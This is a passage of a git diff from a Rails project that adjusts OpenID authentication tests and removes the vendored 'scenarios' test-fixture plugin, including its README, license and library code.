-    [server_url, ''].each do |url|
-      nonce1 = OpenID::Nonce::mk_nonce
-
-      assert_nonce(nonce1, true, url, "#{url}: nonce allowed by default")
-      assert_nonce(nonce1, false, url, "#{url}: nonce not allowed twice")
-      assert_nonce(nonce1, false, url, "#{url}: nonce not allowed third time")
-
-      # old nonces shouldn't pass
-      old_nonce = OpenID::Nonce::mk_nonce(3600)
-      assert_nonce(old_nonce, false, url, "Old nonce #{old_nonce.inspect} passed")
-    end
-  end
-
-  private
-    def gen_assoc(issued, lifetime = 600)
-      secret = OpenID::CryptUtil.random_string(20, nil)
-      handle = OpenID::CryptUtil.random_string(128, ALLOWED_HANDLE)
-      OpenID::Association.new(handle, secret, Time.now + issued, lifetime, 'HMAC-SHA1')
-    end
-
-    def assert_retrieve(url, handle = nil, expected = nil)
-      assoc = @store.get_association(url, handle)
-
-      if expected.nil?
-        assert_nil(assoc)
-      else
-        assert_equal(expected, assoc)
-        assert_equal(expected.handle, assoc.handle)
-        assert_equal(expected.secret, assoc.secret)
-      end
-    end
-
-    def assert_remove(url, handle, expected)
-      present = @store.remove_association(url, handle)
-      assert_equal(expected, present)
-    end
-
-    def assert_nonce(nonce, expected, server_url, msg = "")
-      stamp, salt = OpenID::Nonce::split_nonce(nonce)
-      actual = @store.use_nonce(server_url, stamp, salt)
-      assert_equal(expected, actual, msg)
-    end
-end
diff --git a/vendor/plugins/open_id_authentication/test/normalize_test.rb b/vendor/plugins/open_id_authentication/test/normalize_test.rb
index 353caea0..635d3abc 100644
--- a/vendor/plugins/open_id_authentication/test/normalize_test.rb
+++ b/vendor/plugins/open_id_authentication/test/normalize_test.rb
@@ -16,17 +16,17 @@ class NormalizeTest < Test::Unit::TestCase
     "http://loudthinking.com:8080"          => "http://loudthinking.com:8080/",
     "techno-weenie.net"                     => "http://techno-weenie.net/",
     "http://techno-weenie.net"              => "http://techno-weenie.net/",
-    "http://techno-weenie.net  "            => "http://techno-weenie.net/"
+    "http://techno-weenie.net  "            => "http://techno-weenie.net/",
+    "=name"                                 => "=name"
   }
 
   def test_normalizations
     NORMALIZATIONS.each do |from, to|
-      assert_equal to, normalize_url(from)
+      assert_equal to, normalize_identifier(from)
     end
   end
-  
+
   def test_broken_open_id
-    assert_raises(InvalidOpenId) { normalize_url(nil) }
-    assert_raises(InvalidOpenId) { normalize_url("=name") }
+    assert_raises(InvalidOpenId) { normalize_identifier(nil) }
   end
 end
diff --git a/vendor/plugins/open_id_authentication/test/test_helper.rb b/vendor/plugins/open_id_authentication/test/test_helper.rb
index 8e3fece4..43216e1e 100644
--- a/vendor/plugins/open_id_authentication/test/test_helper.rb
+++ b/vendor/plugins/open_id_authentication/test/test_helper.rb
@@ -4,6 +4,9 @@ require 'rubygems'
 gem 'activesupport'
 require 'active_support'
 
+gem 'actionpack'
+require 'action_controller'
+
 gem 'mocha'
 require 'mocha'
 
diff --git a/vendor/plugins/scenarios/.gitignore b/vendor/plugins/scenarios/.gitignore
deleted file mode 100644
index e8edc4ed..00000000
--- a/vendor/plugins/scenarios/.gitignore
+++ /dev/null
@@ -1,4 +0,0 @@
-environments
-*.log
-tmp
-vendor
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/LICENSE b/vendor/plugins/scenarios/LICENSE
deleted file mode 100644
index 0c9f55a0..00000000
--- a/vendor/plugins/scenarios/LICENSE
+++ /dev/null
@@ -1,19 +0,0 @@
-Copyright (c) 2007, Adam Williams and John W. Long.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/README b/vendor/plugins/scenarios/README
deleted file mode 100644
index 971472e8..00000000
--- a/vendor/plugins/scenarios/README
+++ /dev/null
@@ -1,262 +0,0 @@
-== Rails Scenarios Plugin
-
-Who hasn't experienced the pain of dozens of YAML files filled with hundreds
-of inter-related data structures? When do you look at People of an
-Organization and not have to look at the organization_id, open the
-organizations.yml file, and search for 'id: X'?
-
-In a nutshell, scenarios are a drop in replacement for YAML fixtures. Instead
-of encouraging you to create a mindless amount of raw data in the form of
-YAML, scenarios encourage you to create code that populates your tables with
-the appropriate records.
-
-How is it different from other solutions? A few things:
-
- * It continues to provide a fundamental, fast insertion method using attributes
-   written directly to a table. This is the
-   Scenarios::TableMethods#create_record method.
-
- * It allows you to create records using validations if you prefer, or if it's
-   important to have all your callbacks be invoked. See
-   Scenarios::TableMethods#create_model. Both create_record and create_model
-   allow you to name your instances for retrieval by the instance and id reader
-   methods (more below).
-
- * Nothing stops you from simply invoking YouModel.create!, etc. We'll still
-   keep track of the tables the scenario modifies and clean things up afterward.
-
- * It allows you to create re-usable scenarios as classes. These classes are
-   like any other class - they may include modules, subclass, and be composed of
-   other scenarios. See Scenarios::Base.uses. This also means that you can load
-   any scenario into any Rails environment. That's what the 'rake
-   db:scenario:load' task is good for (more below). Very handy for re-using all
-   that test support code to create populated demos!
-
-=== Quick Start
-
-Since Scenarios is a Rails plugin at this time, you should get it installed,
-using the appropriate method (script/plugin, svn, piston) into your
-vendor/plugins directory. Once you have this, in your spec_helper.rb or
-test_helper.rb, add the following line after the spec requires:
-
-  require 'scenarios'
-
-The Scenarios you write should be placed in the spec/scenarios directory of your
-Rails project if you're using RSpec, or the test/scenarios directory of your
-Rails project if you're using Test::Unit. Scenario file names always end in
-"_scenario.rb" and classes end in "Scenario".
-
-A simple scenario looks like this:
-
-  # in spec/scenarios/users_scenario.rb or test/scenarios/users_scenario.rb
-  class UsersScenario < Scenario::Base
-    def load
-      create_record :user, :john, :name => 'John', :password => 'doodaht'
-      create_record :user, :cindy, :name => 'Cindy', :password => 'whoot!'
-    end
-  end
-
-In the example above, I'm using the <tt>create_record</tt> instance method to
-create two users: John and Cindy. Notice the calls to <tt>create_record</tt>.
-There are three parameters. The first is the singular name of the table to
-insert the record into, the second is the symbolic name of the record (more on
-that later), and the third is a hash of the attributes of the record.
-
-To use the UsersScenario in a description, you should declare it using
-the <tt>scenario</tt> method.  Here it is within a spec file (RSpec):
-
-  # in spec/models/user_spec.rb
-  describe User do
-    scenario :users
-    
-    it "should allow me to do something with John" do
-      user = users(:john)
-      user.password.should == "doodaht"
-    end
-  end
-  
-and here it is within a standard Test::Unit test:
-
-  # in test/unit/user_test.rb
-  class UserTest < Test::Unit::TestCase
-
-    scenario :users
-    
-    def test_do_something
-      user = users(:john)
-      assert_equal "doodaht", user.password
-    end
-  end
-
-Notice that it is easy to load an instance of a model object using its
-symbolic name with a reader method, similar to that of Rails' fixtures. In the
-example above, I loaded John with the reader method <tt>users</tt> and the
-symbolic name <tt>:john</tt>. (Remember that in the Users scenario I declared
-that John should be accessible through the symbolic name <tt>:john</tt>.)
-
-I could also have retrieved an array of user fixtures by passing in
-multiple symbolic names to the reader method:
-
-  # in spec/models/user_spec.rb
-  describe User do
-    scenario :users
-    
-    it "should allow me to get all admins" do
-      admins = users(:john, :ryan)
-      User.admins.should eql(admins)
-    end
-  end
-
-=== Composition
-
-In real life your scenarios will probably grow quite complicated. The
-scenarios plugin allows you to deal with this complexity through composition.
-
-Here's a simple example:
-
-  # in spec/scenarios/posts_scenario.rb or test/scenarios/posts_scenario.rb
-  class PostsScenario < Scenario::Base
-    def load
-      create_record :post, :first, :title => "First Post"
-      create_record :post, :second, :title => "Second Post"
-    end
-  end
-  
-  # in spec/scenarios/comments_scenario.rb or test/scenarios/comments_scenario.rb
-  class CommentsScenario < Scenario::Base
-    uses :posts
-    
-    def load
-      create_record :comment, :first, :body => "Nice post!", :post_id => post_id(:first)
-      create_record :comment, :second, :body => "I like it.", :post_id => post_id(:first)
-      create_record :comment, :third, :body => "I thoroughly disagree.", :post_id => post_id(:second)
-    end
-  end
-
-In the example above, the CommentsScenario declares that it depends on the
-Posts scenario with the <tt>uses</tt> class method. This means that if you
-load the CommentsScenario, the PostsScenario will be loaded first and the
-CommentsScenario will have access to all the data loaded by the PostsScenario
-in its own <tt>load</tt> method. Note that inside the load method I'm using
-another form of reader methed which simply gives you the id for a symbolic
-name (in this case: <tt>post_id</tt>). This is most useful for making
-associations, as done here with comments and posts.
-
-=== Helper Methods
-
-Another way of simplifying your scenarios and specs/tests is through helper
-methods. The Scenarios plugin provides a handy way to declare helper methods
-that are accessible from inside the scenario and also from inside related
-RSpec/Test::Unit examples:
-
-  # in spec/scenarios/users_scenario.rb or test/scenarios/users_scenario.rb
-  class UsersScenario < Scenario::Base
-    def load
-      create_user :name => "John"
-    end
-
-    helpers do
-      def create_user(attributes={})
-        create_record :user, attributes[:name].downcase.intern, attributes
-      end
-      def login_as(user)
-        @request.session[:user_id] = user.id
-      end
-    end
-  end
-
-Helper methods declared inside the helpers block are mixed into the scenario
-when it is instantiated and mixed into examples that declare that they are using
-the scenario. Also, in the case where one scenario <tt>uses</tt> another, the
-using scenario will have the helper methods of the used scenario.
-
-  # in spec/controllers/projects_controller_spec.rb
-  describe "Projects screen" do
-    scenario :users
-    
-    it "should show active projects" do
-      login_as(users(:john))
-      get :projects
-      @response.should have_tag('#active_projects')
-    end
-  end
-
-  # in test/functional/projects_controller_test.rb
-  class PeopleControllerTest < Test::Unit::TestCase
-    scenario :users
-    
-    def test_index
-      login_as(users(:john))
-      get :projects
-      assert_tag('#active_projects')
-    end
-  end
-
-Notice that within my specs/tests I have access to the login_as helper method
-declared inside the <tt>helpers</tt> block of the UsersScenario. Scenario
-helpers are a great way to share helper methods between specs/tests that use a
-specific scenario.
-
-=== Built-in Scenario
-
-There is a scenario named 'blank' that comes with the plugin. This scenario is
-useful when you want to express, and guarantee, that the database is empty. It
-works by using your db/schema.rb, so if the table isn't created in there, it
-won't be cleaned up.
-
-Scenario.load_paths is an array of the locations to look for scenario
-definitions. The built-in scenarios directory is consulted last, so if you'd
-like to re-define, for instance, the 'blank' scenario, simply create
-'blank_scenario.rb' in your spec/scenarios or test/scenarios directory.
-
-=== Load Rake Task
-
-The Scenarios plugin provides a single Rake task, <tt>db:scenario:load</tt>,
-which you may use in a fashion similar to Rails fixtures'
-<tt>db:fixtures:load</tt>.
-
-  rake db:scenario:load SCENARIO=comments
-
-When invoked, this task will populate the development database with the named
-scenario.
-
-If you do not specify SCENARIO, the task will expect to find a default scenario
-(a file 'default_scenario.rb' having DefaultScenario defined in it). It is our
-practice to have it such that this scenario <tt>uses</tt> a number of our other
-scenarios, thereby:
-
-* encouraging us to use test data that looks good in the running development
-  application
-
-* allowing us to troubleshoot failing tests in the running development
-  application
-
-=== More Information
-
-For more information, be sure to look through the documentation over at RubyForge:
-
-* http://faithfulcode.rubyforge.org/docs/scenarios
-
-You might also enjoy taking a look at the specs for the plugin and the example
-scenarios:
-
-* http://faithfulcode.rubyforge.org/svn/plugins/trunk/scenarios/spec/scenarios_spec.rb
-* http://faithfulcode.rubyforge.org/svn/plugins/trunk/scenarios/spec/scenarios
-
-Browse the complete source code:
-
-* http://faithfulcode.rubyforge.org/svn/plugins/trunk/scenarios
-
-=== Running Tests
-
-You should be able to simply run rake. Notice in testing/environment.rb the
-revisions under which this project will work. If you intend to test against
-HEAD, you will need to delete the directory testing/tmp/trunk/HEAD. At some
-point, it would be nice to have the script track the revision of HEAD that we
-have, and update the directory automatically.
-
-=== License
-
-The Scenarios plugin is released under the MIT-License and is Copyright (c)
-2007, Adam Williams and John W. Long. Special thanks to Chris Redinger for his
-part in helping us get this plugin ready for the public.
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/Rakefile b/vendor/plugins/scenarios/Rakefile
deleted file mode 100644
index bd0deb95..00000000
--- a/vendor/plugins/scenarios/Rakefile
+++ /dev/null
@@ -1,10 +0,0 @@
-require File.expand_path(File.dirname(__FILE__) + '/testing/plugit_descriptor')
-
-require 'rake/rdoctask'
-Rake::RDocTask.new(:doc) do |r|
-  r.title = "Rails Scenarios Plugin"
-  r.main = "README"
-  r.options << "--line-numbers"
-  r.rdoc_files.include("README", "LICENSE", "lib/**/*.rb")
-  r.rdoc_dir = "doc"
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/TODO b/vendor/plugins/scenarios/TODO
deleted file mode 100644
index 9be8fb9d..00000000
--- a/vendor/plugins/scenarios/TODO
+++ /dev/null
@@ -1 +0,0 @@
-Make sure before :all's that use scenario methods work. They don't right now.
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/helpers.diff b/vendor/plugins/scenarios/helpers.diff
deleted file mode 100644
index 340068bb..00000000
--- a/vendor/plugins/scenarios/helpers.diff
+++ /dev/null
@@ -1,127 +0,0 @@
-Only in /Users/aiwilliams/Workspaces/faithfulcode/scenarios/: .git
-Only in scenarios/: .svn
-Only in scenarios/: .tm_last_run_ruby
-diff -r scenarios/Rakefile /Users/aiwilliams/Workspaces/faithfulcode/scenarios/Rakefile
-3c3
-< TESTING_ENVIRONMENTS["rspec_3317_rails_8956"].load
----
-> TESTING_ENVIRONMENTS["rspec_3119_rails_8375"].load
-Only in /Users/aiwilliams/Workspaces/faithfulcode/scenarios/: helpers.diff
-Only in scenarios/lib: .svn
-Only in scenarios/lib/scenarios: .svn
-diff -r scenarios/lib/scenarios/base.rb /Users/aiwilliams/Workspaces/faithfulcode/scenarios/lib/scenarios/base.rb
-11,14c11,12
-<       # be included into the scenario and all specs that include the scenario.
-<       # You may also provide names of helpers from your scenarios/helpers
-<       # directory, or any other module you'd like included in your Scenario.
-<       def helpers(helper_names_or_modules = [], &block)
----
->       # be included into the scenario and all specs that include the scenario
->       def helpers(&block)
-17,19d14
-<         mod.module_eval do
-<           [helper_names_or_modules].flatten.each {|h| include h.is_a?(Module) ? h : h.to_scenario_helper}
-<         end
-Only in scenarios/lib/scenarios/builtin: .svn
-Only in scenarios/lib/scenarios/extensions: .svn
-diff -r scenarios/lib/scenarios/extensions/string.rb /Users/aiwilliams/Workspaces/faithfulcode/scenarios/lib/scenarios/extensions/string.rb
-22,39d21
-<   # Convert a string into the associated scenario helper module:
-<   #
-<   #   "basic".to_scenario_helper #=> BasicScenarioHelper
-<   #   "basic_scenario".to_scenario_helper #=> BasicScenarioHelper
-<   #
-<   # Raises Scenario::NameError if the the helper cannot be loacated as
-<   # 'helpers/<name>_helper' in Scenario.load_paths.
-<   def to_scenario_helper
-<     class_name = "#{self.strip.camelize.sub(/ScenarioHelper$/, '')}ScenarioHelper"
-<     Scenario.load_paths.each do |path|
-<       filename = "#{path}/#{class_name.underscore}.rb"
-<       if File.file?(filename)
-<         require filename
-<         break
-<       end
-<     end
-<     class_name.constantize rescue raise Scenario::NameError, "Expected to find #{class_name} in #{Scenario.load_paths.inspect}"
-<   end
-diff -r scenarios/lib/scenarios/extensions/symbol.rb /Users/aiwilliams/Workspaces/faithfulcode/scenarios/lib/scenarios/extensions/symbol.rb
-14,23d13
-<   # Convert a symbol into the associated scenario helper module:
-<   #
-<   #   :basic.to_scenario_helper #=> BasicScenarioHelper
-<   #   :basic_scenario.to_scenario_helper #=> BasicScenarioHelper
-<   #
-<   # Raises Scenario::NameError if the the helper cannot be loacated as
-<   # 'helpers/<name>_helper' in Scenario.load_paths.
-<   def to_scenario_helper
-<     to_s.to_scenario_helper
-<   end
-Only in scenarios/spec: .svn
-Only in scenarios/spec: environments.rb
-Only in scenarios/spec/scenarios: .svn
-Only in scenarios/spec/scenarios: helpers
-diff -r scenarios/spec/scenarios_spec.rb /Users/aiwilliams/Workspaces/faithfulcode/scenarios/spec/scenarios_spec.rb
-23,27d22
-<   it 'should allow us to have helpers in scenarios/helpers directory which we can get through the helpers class method' do
-<     klass = :empty.to_scenario
-<     klass.helpers :myown
-<   end
-<   
-diff -r scenarios/spec/spec_helper.rb /Users/aiwilliams/Workspaces/faithfulcode/scenarios/spec/spec_helper.rb
-1,20c1,6
-< $LOAD_PATH << File.dirname(__FILE__) + '/../testing'
-< 
-< require File.dirname(__FILE__) + "/environments"
-< 
-< require 'active_support'
-< require 'active_record'
-< require 'action_controller'
-< require 'action_view'
-< 
-< module Spec
-<   module Rails
-<     module Example
-<     end
-<   end
-< end
-< 
-< require 'spec/rails'
-< require 'scenarios'
-< 
-< require 'models'
-\ No newline at end of file
----
-> require File.expand_path(File.dirname(__FILE__) + "/../testing/environment")
-> TESTING_ENVIRONMENTS[TESTING_ENVIRONMENT].load(DATABASE_ADAPTER)
-> require "models"
-> require "spec"
-> require "spec/rails"
-> require "scenarios"
-Only in scenarios/tasks: .svn
-Only in scenarios/test: .svn
-Only in scenarios/testing: .svn
-diff -r scenarios/testing/environment.rb /Users/aiwilliams/Workspaces/faithfulcode/scenarios/testing/environment.rb
-15c15
-<   TESTING_ENVIRONMENT = "rspec_3317_rails_8956" unless defined?(TESTING_ENVIRONMENT)
----
->   TESTING_ENVIRONMENT = "rspec_3119_rails_8375" unless defined?(TESTING_ENVIRONMENT)
-31c31
-<       # system "cd #{lib.support_directory} && patch -p0 < #{File.join(TESTING_ROOT, "rspec_on_rails_3119.patch")}"
----
->       system "cd #{lib.support_directory} && patch -p0 < #{File.join(TESTING_ROOT, "rspec_on_rails_3119.patch")}"
-36,38c36,38
-<   TESTING_ENVIRONMENTS << TestingLibrary::Environment.new("rspec_3317_rails_8956", SUPPORT_TEMP, DB_CONFIG_FILE, DB_SCHEMA_FILE) do |env|
-<     env.package "rails", "http://svn.rubyonrails.org/rails", "trunk", "8956", &rails_package
-<     env.package "rspec", "http://rspec.rubyforge.org/svn",   "trunk", "3317", &rspec_package
----
->   TESTING_ENVIRONMENTS << TestingLibrary::Environment.new("rspec_3119_rails_8375", SUPPORT_TEMP, DB_CONFIG_FILE, DB_SCHEMA_FILE) do |env|
->     env.package "rails", "http://svn.rubyonrails.org/rails", "trunk", "8375", &rails_package
->     env.package "rspec", "http://rspec.rubyforge.org/svn",   "trunk", "3119", &rspec_package
-40c40
-<   TESTING_ENVIRONMENTS << TestingLibrary::Environment.new("rspec_3317_rails_1_2_6", SUPPORT_TEMP, DB_CONFIG_FILE, DB_SCHEMA_FILE) do |env|
----
->   TESTING_ENVIRONMENTS << TestingLibrary::Environment.new("rspec_3119_rails_1_2_6", SUPPORT_TEMP, DB_CONFIG_FILE, DB_SCHEMA_FILE) do |env|
-42c42
-<     env.package "rspec", "http://rspec.rubyforge.org/svn", "trunk", "3317", &rspec_package
----
->     env.package "rspec", "http://rspec.rubyforge.org/svn", "trunk", "3119", &rspec_package
diff --git a/vendor/plugins/scenarios/lib/scenarios.rb b/vendor/plugins/scenarios/lib/scenarios.rb
deleted file mode 100644
index 5950e8ec..00000000
--- a/vendor/plugins/scenarios/lib/scenarios.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-module Scenarios
-  # Thrown by Scenario.load when it cannot find a specific senario.
-  class NameError < ::NameError; end
-  
-  class << self
-    # The locations from which scenarios will be loaded.
-    mattr_accessor :load_paths
-    self.load_paths = ["#{RAILS_ROOT}/spec/scenarios", "#{RAILS_ROOT}/test/scenarios", "#{File.dirname(__FILE__)}/scenarios/builtin"]
-    
-    # Load a scenario by name. <tt>scenario_name</tt> can be a string, symbol,
-    # or the scenario class.
-    def load(scenario_name)
-      klass = scenario_name.to_scenario
-      klass.load
-      klass
-    end
-  end
-end
-
-# The Scenario namespace makes for Scenario::Base
-Scenario = Scenarios
-
-# For Rails 1.2 compatibility
-unless Class.instance_methods.include?(:superclass_delegating_reader)
-  require File.dirname(__FILE__) + "/scenarios/extensions/delegating_attributes"
-end
-
-require 'active_record/fixtures'
-require 'scenarios/configuration'
-require 'scenarios/table_blasting'
-require 'scenarios/table_methods'
-require 'scenarios/loading'
-require 'scenarios/base'
-require 'scenarios/extensions'
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/base.rb b/vendor/plugins/scenarios/lib/scenarios/base.rb
deleted file mode 100644
index 3885af3c..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/base.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-module Scenarios
-  class Base
-    class << self
-      # Class method to load the scenario. Used internally by the Scenarios
-      # plugin.
-      def load
-        new.load_scenarios(used_scenarios + [self])
-      end
-      
-      # Class method for your own scenario to define helper methods that will
-      # be included into the scenario and all specs that include the scenario
-      def helpers(&block)
-        mod = (const_get(:Helpers) rescue const_set(:Helpers, Module.new))
-        mod.module_eval(&block) if block_given?
-        mod
-      end
-      
-      # Class method for your own scenario to define the scenarios that it
-      # depends on. If your scenario depends on other scenarios those
-      # scenarios will be loaded before the load method on your scenario is
-      # executed.
-      def uses(*scenarios)
-        names = scenarios.map(&:to_scenario).reject { |n| used_scenarios.include?(n) }
-        used_scenarios.concat(names)
-      end
-      
-      # Class method that returns the scenarios used by your scenario.
-      def used_scenarios # :nodoc:
-        @used_scenarios ||= []
-        @used_scenarios = (@used_scenarios.collect(&:used_scenarios) + @used_scenarios).flatten.uniq
-      end
-      
-      # Returns the scenario class.
-      def to_scenario
-        self
-      end
-    end
-    
-    include TableMethods
-    include Loading
-    
-    attr_reader :table_config
-    
-    # Initialize a scenario with a Configuration. Used internally by the
-    # Scenarios plugin.
-    def initialize(config = Configuration.new)
-      @table_config = config
-      table_config.update_scenario_helpers self.class
-      self.extend table_config.table_readers
-      self.extend table_config.scenario_helpers
-    end
-    
-    # This method should be implemented in your scenarios. You may also have
-    # scenarios that simply use other scenarios, so it is not required that
-    # this be overridden.
-    def load
-    end
-    
-    # Unload a scenario, sort of. This really only deletes the records, all of
-    # them, of every table this scenario modified. The goal is to maintain a
-    # clean database for successive runs. Used internally by the Scenarios
-    # plugin.
-    def unload
-      return if unloaded?
-      record_metas.each_value { |meta| blast_table(meta.table_name) }
-      @unloaded = true
-    end
-    
-    def unloaded?
-      @unloaded == true
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/builtin/blank_scenario.rb b/vendor/plugins/scenarios/lib/scenarios/builtin/blank_scenario.rb
deleted file mode 100644
index 1ab74d3c..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/builtin/blank_scenario.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-class BlankScenario < Scenarios::Base
-  def load
-    table_names.each do |table|
-      blast_table(table)
-    end
-  end
-
-  def table_names
-    self.class.table_names
-  end
-
-  def self.table_names
-    @table_names ||= begin
-      schema = (open(RAILS_ROOT + '/db/schema.rb') { |f| f.read } rescue '')
-      schema.grep(/create_table\s+(['"])(.+?)\1/m) { $2 }
-    end
-  end
-end
diff --git a/vendor/plugins/scenarios/lib/scenarios/configuration.rb b/vendor/plugins/scenarios/lib/scenarios/configuration.rb
deleted file mode 100644
index 6becffcf..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/configuration.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-module Scenarios
-  class Configuration # :nodoc:
-    attr_reader :blasted_tables, :loaded_scenarios, :record_metas, :table_readers, :scenario_helpers, :symbolic_names_to_id
-    
-    def initialize
-      @blasted_tables       = Set.new
-      @record_metas         = Hash.new
-      @table_readers        = Module.new
-      @scenario_helpers     = Module.new
-      @symbolic_names_to_id = Hash.new {|h,k| h[k] = Hash.new}
-      @loaded_scenarios     = Array.new
-    end
-    
-    # Given a created record (currently ScenarioModel or ScenarioRecord),
-    # update the table readers module appropriately such that this record and
-    # it's id are findable via methods like 'people(symbolic_name)' and
-    # 'person_id(symbolic_name)'.
-    def update_table_readers(record)
-      ids, record_meta = symbolic_names_to_id, record.record_meta # scoping assignments
-      
-      ids[record_meta.table_name][record.symbolic_name] = record.id
-      table_readers.send :define_method, record_meta.id_reader do |*symbolic_names|
-        record_ids = symbolic_names.flatten.collect do |symbolic_name|
-          if symbolic_name.kind_of?(ActiveRecord::Base)
-            symbolic_name.id
-          else
-            record_id = ids[record_meta.table_name][symbolic_name.to_sym]
-            raise ActiveRecord::RecordNotFound, "No object is associated with #{record_meta.table_name}(:#{symbolic_name})" unless record_id
-            record_id
-          end
-        end
-        record_ids.size > 1 ? record_ids : record_ids.first
-      end
-      
-      table_readers.send :define_method, record_meta.record_reader do |*symbolic_names|
-        results = symbolic_names.flatten.collect do |symbolic_name|
-          symbolic_name.kind_of?(ActiveRecord::Base) ?
-            symbolic_name :
-            record_meta.record_class.find(send(record_meta.id_reader, symbolic_name))
-        end
-        results.size > 1 ? results : results.first
-      end
-    end
-    
-    def update_scenario_helpers(scenario_class)
-      scenario_helpers.module_eval do
-        include scenario_class.helpers
-      end
-    end
-    
-    def scenarios_loaded?
-      !loaded_scenarios.blank?
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/extensions.rb b/vendor/plugins/scenarios/lib/scenarios/extensions.rb
deleted file mode 100644
index f442786e..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/extensions.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require File.dirname(__FILE__) + "/extensions/object"
-require File.dirname(__FILE__) + "/extensions/string"
-require File.dirname(__FILE__) + "/extensions/symbol"
-require File.dirname(__FILE__) + "/extensions/active_record"
-require File.dirname(__FILE__) + "/extensions/test_case" rescue nil
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/extensions/active_record.rb b/vendor/plugins/scenarios/lib/scenarios/extensions/active_record.rb
deleted file mode 100644
index 509abd27..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/extensions/active_record.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-module ActiveRecord
-  class Base
-    cattr_accessor :table_config
-    include Scenarios::TableBlasting
-    
-    # In order to guarantee that tables are tracked when _create_model_ is
-    # used, and those models cause other models to be created...
-    def create_with_table_blasting
-      prepare_table(self.class.table_name)
-      create_without_table_blasting
-    end
-    alias_method_chain :create, :table_blasting
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/extensions/delegating_attributes.rb b/vendor/plugins/scenarios/lib/scenarios/extensions/delegating_attributes.rb
deleted file mode 100644
index f5f0ef87..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/extensions/delegating_attributes.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# These class attributes behave something like the class
-# inheritable accessors.  But instead of copying the hash over at
-# the time the subclass is first defined,  the accessors simply
-# delegate to their superclass unless they have been given a 
-# specific value.  This stops the strange situation where values 
-# set after class definition don't get applied to subclasses.
-class Class
-  def superclass_delegating_reader(*names)
-    class_name_to_stop_searching_on = self.superclass.name.blank? ? "Object" : self.superclass.name
-    names.each do |name|
-      class_eval <<-EOS
-      def self.#{name}
-        if defined?(@#{name})
-          @#{name}
-        elsif superclass < #{class_name_to_stop_searching_on} && superclass.respond_to?(:#{name})
-          superclass.#{name}
-        end
-      end
-      def #{name}
-        self.class.#{name}
-      end
-      EOS
-    end
-  end
-
-  def superclass_delegating_writer(*names)
-    names.each do |name|
-      class_eval <<-EOS
-        def self.#{name}=(value)
-          @#{name} = value
-        end
-      EOS
-    end
-  end
-
-  def superclass_delegating_accessor(*names)
-    superclass_delegating_reader(*names)
-    superclass_delegating_writer(*names)
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/extensions/object.rb b/vendor/plugins/scenarios/lib/scenarios/extensions/object.rb
deleted file mode 100644
index efd28197..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/extensions/object.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Object
-  def metaclass
-    (class << self; self; end)
-  end unless method_defined?(:metaclass)
-end
diff --git a/vendor/plugins/scenarios/lib/scenarios/extensions/string.rb b/vendor/plugins/scenarios/lib/scenarios/extensions/string.rb
deleted file mode 100644
index 830aa791..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/extensions/string.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-class String
-  
-  # Convert a string into the associated scenario class:
-  #
-  #   "basic".to_scenario #=> BasicScenario
-  #   "basic_scenario".to_scenario #=> BasicScenario
-  #
-  # Raises Scenario::NameError if the the scenario cannot be loacated in
-  # Scenario.load_paths.
-  def to_scenario
-    class_name = "#{self.strip.camelize.sub(/Scenario$/, '')}Scenario"
-    Scenario.load_paths.each do |path|
-      filename = "#{path}/#{class_name.underscore}.rb"
-      if File.file?(filename)
-        require filename
-        break
-      end
-    end
-    class_name.constantize rescue raise Scenario::NameError, "Expected to find #{class_name} in #{Scenario.load_paths.inspect}"
-  end
-  
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/extensions/symbol.rb b/vendor/plugins/scenarios/lib/scenarios/extensions/symbol.rb
deleted file mode 100644
index 35e5f090..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/extensions/symbol.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class Symbol
-  
-  # Convert a symbol into the associated scenario class:
-  #
-  #   :basic.to_scenario #=> BasicScenario
-  #   :basic_scenario.to_scenario #=> BasicScenario
-  #
-  # Raises Scenario::NameError if the the scenario cannot be located in
-  # Scenario.load_paths.
-  def to_scenario
-    to_s.to_scenario
-  end
